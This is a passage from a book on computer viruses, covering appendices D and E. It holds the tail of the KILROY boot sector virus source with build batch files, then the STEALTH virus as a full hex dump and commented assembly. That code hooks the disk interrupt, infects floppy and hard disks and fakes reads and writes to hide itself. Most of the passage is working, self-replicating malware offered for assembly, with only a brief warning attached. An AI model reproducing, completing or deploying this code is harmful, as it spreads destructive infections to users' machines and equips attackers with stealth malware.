MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Attempt to self reproduce. If this boot sector is located on drive A, it will
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
;attempt to relocate to drive B. If this boot sector is located on drive C, it
;will attempt to relocate to drive B.
SPREAD:
CALL DISP_MSG ;Display the ``Kilroy'' message
MOV BX,OFFSET DISK_BUF ;put other boot sectors here
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if C, go try to spread to B
MOV DX,180H ;if A, try to spread to C first
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
JZ SPREAD2 ;none try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive B
CMP WORD PTR [NEW_ID],0AA55H;make sure it's a boot sector
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;if error on c:, try b:
125 The Little Black Book of Computer Viruses
JMP SHORT LOOK_SYS ;ok, go look for system files
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B:
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=# of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just exit
CMP WORD PTR [NEW_ID],0AA55H;make sure it's a boot sector
JNZ LOOK_SYS ;no, don't attempt reproduction
CALL MOVE_DATA ;yes, move boot sector to write
MOV DX,1
MOV AX,301H ;and write this boot sec to B:
MOV CX,1
INT 13H
;Here we look at the first file on the disk to see if it is the first MSDOS or
;PCDOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set disk buffer to 0000:0500
POP AX
CALL CONVERT ;and go convert sec # for bios
MOV AL,1 ;prepare for a 1 sector read
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk
MOV CX,11 ;with required file name of
MOV SI,OFFSET SYSFILE_1 ;first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name of
MOV SI,OFFSET SYSFILE_2 ;first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same an error,
;so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size
XOR DX,DX ;of IBMBIO.COM/IO.SYS
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
MOV AX,WORD PTR [DOS_ID] ;get sec # of start of data
PUSH AX
MOV BX,700H ;set disk buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
Appendix D: The KILROY Virus 126
CALL CONVERT ;convert to bios Trk/Cyl/Sec
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ; 1 from # of secs to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add secs read to sec to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
JMP RD_BOOT1 ;then go for another
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
; JMP FAR PTR LOAD ;use far jump with MASM or TASM
MOV AX,0070H ;A86 can't handle that,
PUSH AX ;so let's fool it with far ret
XOR AX,AX
PUSH AX
RETF
;Convert sequential sector number in ax to BIOS Track, Head, Sector
;information. Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector # to start read on,
MOV CH,DL ;al=track/head count
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift upper 2 bits of trk # to
SHL DH,CL ;the high bits in dh and put
OR DH,CH ;sector # in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch(05)=sec, cl/ch(67)=track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move the boot sector code
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL OFFSET BOOT
SEC)
MOV CX,OFFSET DRIVE OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move init jmp and sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
127 The Little Black Book of Computer Viruses
;Display the null terminated string at MESSAGE.
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message up
DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH
LODSB ;get character to display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
ORG 7DFDH
DRIVE: DB 0 ;Disk drive for this sector
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START
To assemble this, you will need to create the file KILROY.DBG, as
follows:
r cx
200
w 7C00 0 0 1
q
If you want to use the Microsoft Assembler, create the batch file
KILROY_M.BAT as follows:
masm kilroy;
link kilroy;
exe2bin kilroy kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.obj
del kilroy.exe
del kilroy.com
and execute it with a freshly formatted disk (using the /s option) in
drive A. If you want to use the Turbo Assembler, create KIL
ROY_T.BAT:
tasm kilroy;
link kilroy;
exe2bin kilroy kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.obj
Appendix D: The KILROY Virus 128
del kilroy.map
del kilroy.exe
del kilroy.com
and do the same. If you are using A86, then the batch file KIL
ROY_A.BAT,
a86 kilroy.asm kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.com
will do the job, but remember, DO NOT ATTEMPT TO CREATE
THIS VIRUS UNLESS YOUKNOWWHATYOUARE DOING.
PROCEED AT YOUR OWN RISK!!
129 The Little Black Book of Computer Viruses
Appendix E: The STEALTH Virus
WARNING: The STEALTH virus is extremely conta
gious. Compile any of the following code at your own risk! If your
system gets infected with STEALTH, I recommend that you take a
floppy boot disk that you are certain is free from infection (borrow
one from somebody else if you have to) and turn your computer on
with it in your A: drive. Don't boot off of your hard drive! Next,
format your hard drive using your low level hard disk formatter
(which should have come with your machine). Then run FDISK
and FORMAT to restore your hard disk. Once you have a clean hard
disk, format all floppy disks that may have been in your machine
during the time it was infected. If there is any question about it,
format it. This is the ONLY WAY you are going to get rid of the
infection! In other words, unless you really know what you're
doing, you're probably better off not trying to use this virus.
So the following listings are provided FORINFORMA
TION PURPOSES ONLY!
Here is the HEX listing for STEALTH:
:10000000E9FD7A0000000000000000000000000090
:10031000000000800200000000000000000000005B
:106F000000000000FB80FC02740A80FC0374212E48
:106F1000FF2E007080FE0075F680FD0075F180F98F
:106F200001742C80FA8075E780F90873E2E9110298
:106F300080FE0075DA80FD0075D580F9017503E9E2
:106F40000E0180FA8075C880F90873C3E9310280A8
:106F5000FA807308E842027403E85C02505351520D
:106F60001E06550E070E1F8BEC8AC2E8210573081A
:106F7000E81C057303E9BF00E842057403E9B700A4
:106F8000BB357A8A073C807502B004B303F6E3058B
:106F900041718BD88A2F8A77018A4F028A56068BD5
:106FA0005E0A8B46028EC0B801029CFF1E00708AEA
:106FB000460C3C01746C5D071F5A595B5881C30035
:106FC0000250FEC8FEC180FA8075345351525657A4
:106FD0001E55061FC607008BF38BFB47B400BB0092
:106FE00002F7E38BC849F3A4F89C588946145D1F47
:106FF0005F5E5A595B58B400FEC981EB0002CF9C1A
:107000002EFF1E007050558BEC9C5889460A720C5E
:1070100081EB0002FEC95D5858B400CF5D5883C4AF
:1070200002CF8B4612509DF89C588946125D071F6F
:107030005A595B58B400CF5D071F5A595B58E9CEC7
:10704000FE2701094F010F4F01094F0112000007F0
:10705000505351521E06558BEC0E1F0E078AC2E884
:107060002D047308E828047303E9CB00E84E047488
:1070700003E9C300BB357A8A073C807502B004B3CC
:1070800003F6E30541718BD88A2F8A77018A4F0274
:107090008A56068B5E0A8B46028EC0B801039CFF9F
:1070A0001E0070FB8A560680FA807533C606357C52
:1070B000805657BFBE7D8B760A81C6BE7D81EE00AD
:1070C0007C061F0E07B91400F3A50E1FB80103BB01
:1070D000007CB90100BA80009CFF1E00705F5E8AD0
:1070E000460C3C01743C8A560680FA8074345D0775
:1070F0001F5A595B5881C3000250FEC8FEC19C2E26
:10710000FF1E0070FB50558BEC9C5889460A720C90
:1071100081EB0002FEC95D5858B400CF5D5883C4AE
:1071200002CF8B4612509DF89C588946125D071F6E
:107130005A595B58B400CF5D071F5A595B58E9CEC6
:10714000FDE8550075375053515256571E558BEC7C
:1071500026C60700061F8BF38BFB47B400BB00025B
:10716000F7E38BC849F3A48B4614509DF89C5889CB
:1071700046145D1F5F5E5A595B58B400CFE98FFD1E
:10718000E8160075F855508BEC8B4608509DF99C1D
:107190005889460858B4045DCF505351521E060E0C
:1071A0001F0E078AC2E8E702730432C0EB03E80C43
:1071B00003071F5A595B58C39C5657505351521ED0
:1071C000060E070E1FFBBB137A8B1F8AC281FBD0F2
:1071D000027505E82B00EB1F81FB60097505E8A12E
:1071E00000EB1481FBA0057505E82001EB0981FB8C
:1071F000400B7503E89101071F5A595B585F5E9D6C
:10720000C38AD0B90300B600E810028BD87272BFEF
:10721000117A8B0525F0FF0B45020B450475628B37
:10722000050D70FFABB8F77FABB8FF00AB8BC3B9F0
:1072300003008AD3B600E8F00172468AD0B905008F
:10724000B600E8E40172F4E8450272358AD0B6016E
:10725000B90927E8D301722950BF037CBE037AB96C
:107260001900F3A5C606357C0058E839027212BB36
:1072700000708AD0B601B90427B805039CFF1E0030
:1072800070C38AD0B90800B600E88F018BD8727B32
:10729000BFDD7B8B050B45020B45040B45060B45FB
:1072A000087568B8F77FABB8FFF7ABB87FFFABB82E
:1072B000F77FABB8FF00AB8BC3B908008AD3B60029
:1072C000E8660172468AD0B90F00B600E85A01722A
:1072D000F4E8BB0172358AD0B601B90F4FE8490115
131 The Little Black Book of Computer Viruses
:1072E000722950BF037CBE037AB91900F3A5C60604
:1072F000357C0158E8AF017212BB00708AD0B6012C
:10730000B90A4FB805039CFF1E0070C38AD0B904A8
:1073100000B600E805018BD8726DBF2C7A8B050B87
:1073200045020B45047560B8F77FABB8FFF7ABB803
:107330000F00AB8BC3B904008AD3B600E8EA007231
:10734000468AD0B90700B600E8DE0072F4E83F01D3
:1073500072358AD0B601B9094FE8CD00722950BF05
:10736000037CBE037AB91900F3A5C606357C025822
:10737000E833017212BB00708AD0B601B9044FB86D
:1073800005039CFF1E0070C38AD0B90A00B600E84E
:1073900089008BD872F1BFA87A8B0525F0FF0B45C9
:1073A000020B45040B45060B4508756E268B05251B
:1073B0000F000570FFABB8F77FABB8FFF7ABB87F36
:1073C000FFABB8F70FAB8BC3B90A008AD3B600E89E
:1073D000570072468AD0B90100B601E84B0072F43A
:1073E000E8AC0072358AD0B601B9124FE83A0072A3
:1073F0002950BF037CBE037AB91900F3A5C6063530
:107400007C0358E8A0007212BB00708AD0B601B9A4
:107410000D4FB805039CFF1E0070C350BB007AB827
:1074200001029CFF1E007058C350BB007AB80103D4
:107430009CFF1E007058C3B080A2357CE85000BB92
:10744000007A508AD0B600B90700B801039CFF1E2D
:1074500000705850BF037CBE037AB91900F3A5BF72
:10746000BE7DBEBE7BB92100F3A558E83800BB0045
:10747000708AD0B600B90200B805039CFF1E0070E8
:10748000C31E33C08ED8BB75048A071F3C00C3508F
:10749000BB007A8AD0B600B500B101B001B4029C3D
:1074A000FF1E007058C350BB007C8AD0B600B500E8
:1074B000B101B001B4039CFF1E007058C35657FCC5
:1074C000BF367CBE367AB90F00F3A75F5EC30000FB
:107B0000EB349000000000000000000000000000C6
:107B3000000000000000FA33C08ED08ED88EC0BC8A
:107B4000007CFBB106A11304D3E02DE0078EC083B7
:107B50002E130404BE007C8BFEB90001F3A506B809
:107B6000647C50CB061F90BB0070A0357C3C007439
:107B7000153C0174173C0274193C03741BBA800055
:107B8000B500B102EB19B527B104EB10B54FB10A3E
:107B9000EB0AB54FB104EB04B54FB10DBA0001B813
:107BA0000602CD1372F933C08EC0BE007ABF007CCE
:107BB000B90001F3A5FA8CC88ED0BC00700E073353
:107BC000C08ED8BE4C00BF0070A5A5B80470BB4CD9
:107BD0000089078CC0894702FB0E1F803E357C80E0
:107BE0007412E89CF8740DB080E8A3F8E8CEF8743D
:107BF00003E843F8BEBE7DBFBF7DB93F00C60400A9
:107C0000F3A433C050B8007C50CB0000000000004B
:107CF000000000000000000000000000000055AA85
:00000001FF
Appendix E: The STEALTH Virus 132
Here is the assembly language listing for the STEALTH
virus:
;The Stealth Virus is a boot sector virus which remains resident in memory
;after boot so it can infect disks. It hides itself on the disk and includes
;special antidetection interrupt traps so that it is very difficult to
;locate. This is a very infective and crafty virus.
COMSEG SEGMENT PARA
ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
ORG 100H
START:
jmp BOOT_START
;*******************************************************************************
;* BIOS DATA AREA *
;*******************************************************************************
ORG 413H
MEMSIZE DW 640 ;size of memory installed, in KB
;*******************************************************************************
;* VIRUS CODE STARTS HERE *
;*******************************************************************************
ORG 7000H
STEALTH: ;A label for the beginning of the virus
;*******************************************************************************
;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
;for every sector on the track. This is put at the very start of the virus so
;that when sectors are formatted, we will not run into a DMA boundary, which
;would cause the format to fail. This is a false error, but one that happens
;with some BIOS's, so we avoid it by putting this data first.
;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
;
;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
;*******************************************************************************
;* INTERRUPT 13H HANDLER *
;*******************************************************************************
OLD_13H DD ? ;Old interrupt 13H vector goes here
INT_13H:
sti
cmp ah,2 ;we want to intercept reads
jz READ_FUNCTION
cmp ah,3 ;and writes to all disks
jz WRITE_FUNCTION
I13R: jmp DWORD PTR cs:[OLD_13H]
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 2,
;(Read). It checks for several key situations where it must jump into action.
;they are:
; 1) If an attempt is made to read the boot sector, it must be processed
; through READ_BOOT, so an infected boot sector is never seen. Instead,
; the original boot sector is read.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 27 on
; drive C are read, they are processed by READ_HARD, so the virus
133 The Little Black Book of Computer Viruses
; code is never seen on the hard drive.
; 3) If an attempt is made to read the boot sector on the floppy,
; this routine checks to see if the floppy has already been
; infected, and if not, it goes ahead and infects it.
READ_FUNCTION: ;Disk Read Function Handler
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;no, let BIOS handle it
cmp cl,1 ;track 0, is it sector 1
jz READ_BOOT ;yes, go handle boot sector read
cmp dl,80H ;no, is it hard drive c:?
jnz I13R ;no, let BIOS handle it
cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp READ_HARD ;yes, divert read on the C drive
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 3,
;(Write). It checks for two key situations where it must jump into action. They
;are:
; 1) If an attempt is made to write the boot sector, it must be processed
; through WRITE_BOOT, so an infected boot sector is never overwritten.
; instead, the write is redirected to where the original boot sector is
; hidden.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 27 on
; drive C are written, they are processed by WRITE_HARD, so the virus
; code is never overwritten.
WRITE_FUNCTION: ;BIOS Disk Write Function
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;nope, let BIOS handle it
cmp cl,1 ;is it sector 1
jnz WF1 ;nope, check for hard drive
jmp WRITE_BOOT ;yes, go handle boot sector read
WF1: cmp dl,80H ;is it the hard drive c: ?
jnz I13R ;no, another hard drive
cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp WRITE_HARD ;else take care of writing to C:
;*******************************************************************************
;This section of code handles reading the boot sector. There are three
;possibilities: 1) The disk is not infected, in which case the read should be
;passed directly to BIOS, 2) The disk is infected and only one sector is
;requested, in which case this routine figures out where the original boot
;sector is and reads it, and 3) The disk is infected and more than one sector
;is requested, in which case this routine breaks the read up into two calls to
;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
;additional sectors being read. One of the complexities in this last case is
;that the routine must return the registers set up as if only one read had
;been performed.
; To determine if the disk is infected, the routine reads the real boot sector
;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
;this routine goes to get the original boot sector, etc., otherwise it calls ROM
;BIOS and allows a second read to take place to get the boot sector into the
;requested buffer at es:bx.
READ_BOOT:
cmp dl,80H ;check if we must infect first
jnc RDBOOT ;don't need to infect hard dsk
call CHECK_DISK ;is floppy already infected?
jz RDBOOT ;yes, go do read
call INFECT_FLOPPY ;no, go infect the diskette
RDBOOT: push ax ;now perform a redirected read
push bx ;save registers
push cx
Appendix E: The STEALTH Virus 134
push dx
push ds
push es
push bp
push cs ;set ds=es=cs
pop es
push cs
pop ds
mov bp,sp ;and bp=sp
RB001: mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc RB01 ;ok, go on
call GET_BOOT_SEC ;do it again to make sure
jnc RB01 ;ok, go on
jmp RB_GOON ;error, let BIOS return err code
RB01: call IS_VBS ;is it the viral boot sector?
jz RB02 ;yes, jump
jmp RB_GOON ;no, let ROM BIOS read sector
RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx] ;get disk type of disk being
cmp al,80H ;read, and make an index of it
jnz RB1
mov al,4
RB1: mov bl,3 ;to look up location of boot sec
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
mov bx,ax
mov ch,[bx] ;get track of orig boot sector
mov dh,[bx+1] ;get head of orig boot sector
mov cl,[bx+2] ;get sector of orig boot sector
mov dl,ss:[bp+6] ;get drive from original spec
mov bx,ss:[bp+10] ;get read buffer offset
mov ax,ss:[bp+2] ;and segment
mov es,ax ;from original specification
mov ax,201H ;prepare to read 1 sector
pushf
call DWORD PTR [OLD_13H] ;do BIOS int 13H
mov al,ss:[bp+12] ;see if original request
cmp al,1 ;was for more than one sector
jz RB_EXIT ;no, go exit
READ_1NEXT: ;more than 1 sec requested, so
pop bp ;read the rest as a second call
pop es ;to BIOS
pop ds
pop dx ;first restore these registers
pop cx
pop bx
pop ax
add bx,512 ;prepare to call BIOS for
push ax ;balance of read
dec al ;get registers straight for it
inc cl
cmp dl,80H ;is it the hard drive?
jnz RB15 ;nope, go handle floppy
push bx ;handle an infected hard drive
push cx ;by faking read on extra sectors
push dx ;and returning a block of 0's
push si
push di
push ds
push bp
push es
pop ds ;ds=es
135 The Little Black Book of Computer Viruses
mov BYTE PTR [bx],0 ;set first byte in buffer = 0
mov si,bx
mov di,bx
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;# of bytes to read in dx:ax<64K
mov cx,ax
dec cx ;number of bytes to move in cx
rep movsb ;fill buffer with 0's
clc ;clear c, fake read successful
pushf ;then restore everyting properly
pop ax ;first set flag register
mov ss:[bp+20],ax ;as stored on the stack
pop bp ;and pop all registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0
dec cl
sub bx,512
iret ;and get out
RB15: ;read next sectors on floppy
pushf ;call BIOS to
call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
push ax
push bp
mov bp,sp
pushf ;use c flag from BIOS call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc RB2 ;if error, return ah from 2nd rd
sub bx,512 ;else restore registers so
dec cl ;it looks as if only one read
pop bp ;was performed
pop ax
pop ax ;and exit with ah=0 to indicate
mov ah,0 ;successful read
iret
RB2: pop bp ;error on 2nd read
pop ax ;so clean up stack
add sp,2 ;and get out
iret
RB_EXIT: ;exit from single sector read
mov ax,ss:[bp+18] ;set the c flag on the stack
push ax ;to indicate successful read
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret ;and get out
RB_GOON: ;This passes control to BIOS
pop bp ;for uninfected disks
Appendix E: The STEALTH Virus 136
pop es ;just restore all registers to
pop ds ;their original values
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go jump to BIOS
;*******************************************************************************
;This table identifies where the original boot sector is located for each
;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
;boot sector reads and writes.
BOOT_SECTOR_LOCATION:
DB 39,1,9 ;Track, head, sector, 360K drive
DB 79,1,15 ;1.2M drive
DB 79,1,9 ;720K drive
DB 79,1,18 ;1.44M drive
DB 0,0,7 ;Hard drive
;*******************************************************************************
;This routine handles writing the boot sector for all disks. It checks to see
;if the disk has been infected, and if not, allows BIOS to handle the write.
;If the disk is infected, this routine redirects the write to put the boot
;sector being written in the reserved area for the original boot sector. It
;must also handle the writing of multiple sectors properly, just as READ_BOOT
;did.
WRITE_BOOT:
push ax ;save everything we might change
push bx
push cx
push dx
push ds
push es
push bp
mov bp,sp
push cs ;ds=es=cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc WB01
call GET_BOOT_SEC ;do it again if first failed
jnc WB01
jmp WB_GOON ;error on read, let BIOS take it
WB01: call IS_VBS ;else, is disk infected?
jz WB02 ;yes
jmp WB_GOON ;no, let ROM BIOS write sector
WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx]
cmp al,80H ;infected, so redirect the write
jnz WB1
mov al,4 ;make an index of the drive type
WB1: mov bl,3
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
mov bx,ax
mov ch,[bx] ;get the location of original
mov dh,[bx+1] ;boot sector on disk
mov cl,[bx+2] ;prepare for the write
mov dl,ss:[bp+6]
mov bx,ss:[bp+10]
mov ax,ss:[bp+2]
mov es,ax
137 The Little Black Book of Computer Viruses
mov ax,301H
pushf
call DWORD PTR [OLD_13H] ;and do it
sti
mov dl,ss:[bp+6]
cmp dl,80H ;was write going to hard drive?
jnz WB_15 ;no
mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
push si
push di
mov di,OFFSET PART ;just move it from sec we just
mov si,ss:[bp+10] ;wrote into the viral boot sec
add si,OFFSET PART
sub si,OFFSET BOOT_START
push es
pop ds
push cs
pop es ;switch ds and es around
mov cx,20
rep movsw ;and do the move
push cs
pop ds
mov ax,301H
mov bx,OFFSET BOOT_START
mov cx,1 ;Track 0, Sector 1
mov dx,80H ;drive 80H, Head 0
pushf ;go write updated viral boot sec
call DWORD PTR [OLD_13H] ;with new partition info
pop di ;clean up
pop si
WB_15: mov al,ss:[bp+12]
cmp al,1 ;was write more than 1 sector?
jz WB_EXIT ;if not, then exit
WRITE_1NEXT: ;more than 1 sector
mov dl,ss:[bp+6] ;see if it's the hard drive
cmp dl,80H
jz WB_EXIT ;if so, ignore rest of the write
pop bp ;floppy drive, go write the rest
pop es ;as a second call to BIOS
pop ds
pop dx
pop cx ;restore all registers
pop bx
pop ax
add bx,512 ;and modify a few to
push ax ;drop writing the first sector
dec al
inc cl
pushf
call DWORD PTR cs:[OLD_13H] ;go write the rest
sti
push ax
push bp
mov bp,sp
pushf ;use c flag from call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc WB2 ;an error
;so exit with ah from 2nd int 13
sub bx,512
dec cl
pop bp
pop ax
pop ax ;else exit with ah=0
mov ah,0 ;to indicate success
iret
WB2: pop bp ;exit with ah from 2nd
pop ax ;interrupt
add sp,2
Appendix E: The STEALTH Virus 138
iret
WB_EXIT: ;exit after 1st write
mov ax,ss:[bp+18] ;set carry on stack to indicate
push ax ;a successful write operation
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers and exit
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret
WB_GOON: ;pass control to ROM BIOS
pop bp ;just restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go do it
;*******************************************************************************
;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
;then instead of reading the true data there, return a block of 0's, since
;0 is the data stored in a freshly formatted but unused sector. This will
;fake the caller out and keep him from knowing that the virus is hiding there.
;If the disk is not infected, return the true data stored in those sectors.
READ_HARD:
call CHECK_DISK ;see if disk is infected
jnz RWH_EX ;no, let BIOS handle the read
push ax ;else save registers
push bx
push cx
push dx
push si
push di
push ds
push bp
mov bp,sp
mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
push es
pop ds
mov si,bx ;set up es:di and ds:si
mov di,bx ;for a transfer
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;number of bytes to read in ax
mov cx,ax
dec cx ;number of bytes to move
rep movsb ;do fake read of all 0's
mov ax,ss:[bp+20] ;now set c flag
push ax ;to indicate succesful read
popf
clc
pushf
pop ax
mov ss:[bp+20],ax
139 The Little Black Book of Computer Viruses
pop bp ;restore everything and exit
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0 ;set to indicate successful read
iret
RWH_EX: jmp I13R ;pass control to BIOS
;*******************************************************************************
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
;the disk is infected. Instead, fake the return of an error by setting carry
;and returning ah=4 (sector not found).
WRITE_HARD:
call CHECK_DISK ;see if the disk is infected
jnz RWH_EX ;no, let BIOS handle it all
push bp ;yes, infected, so . . .
push ax
mov bp,sp
mov ax,ss:[bp+8] ;get flags off of stack
push ax
popf ;put them in current flags
stc ;set the carry flag
pushf
pop ax
mov ss:[bp+8],ax ;and put flags back on stack
pop ax
mov ah,4 ;set up sector not found error
pop bp
iret ;and get out of ISR
;*******************************************************************************
;See if disk dl is infected already. If so, return with Z set. This
;does not assume that registers have been saved, and saves/restores everything
;but the flags.
CHECK_DISK:
push ax ;save everything
push bx
push cx
push dx
push ds
push es
push cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the boot sector
jnc CD1
xor al,al ;act as if infected
jmp SHORT CD2 ;in the event of an error
CD1: call IS_VBS ;see if viral boot sec (set z)
CD2: pop es ;restore everything
pop ds ;except the z flag
pop dx
pop cx
pop bx
pop ax
ret
;*******************************************************************************
;This routine determines from the boot sector parameters what kind of floppy
;disk is in the drive being accessed, and calls the proper infection routine
Appendix E: The STEALTH Virus 140
;to infect the drive. It has no safeguards to prevent infecting an already
;infected disk. the routine CHECK_DISK must be called first to make sure you
;want to infect before you go and do it. This restores all registers to their
;initial state.
INFECT_FLOPPY:
pushf ;save everything
push si
push di
push ax
push bx
push cx
push dx
push ds
push es
push cs
pop es
push cs
pop ds
sti
mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
mov bx,[bx] ;get sector count for this disk
mov al,dl
cmp bx,720 ;is it 360K? (720 sectors)
jnz IF_1 ;no, try another possibility
call INFECT_360K ;yes, infect it
jmp SHORT IF_R ;and get out
IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
jnz IF_2 ;no, try another possibility
call INFECT_12M ;yes, infect it
jmp SHORT IF_R ;and get out
IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
jnz IF_3 ;no, try another possibility
call INFECT_720K ;yes, infect it
jmp SHORT IF_R ;and get out
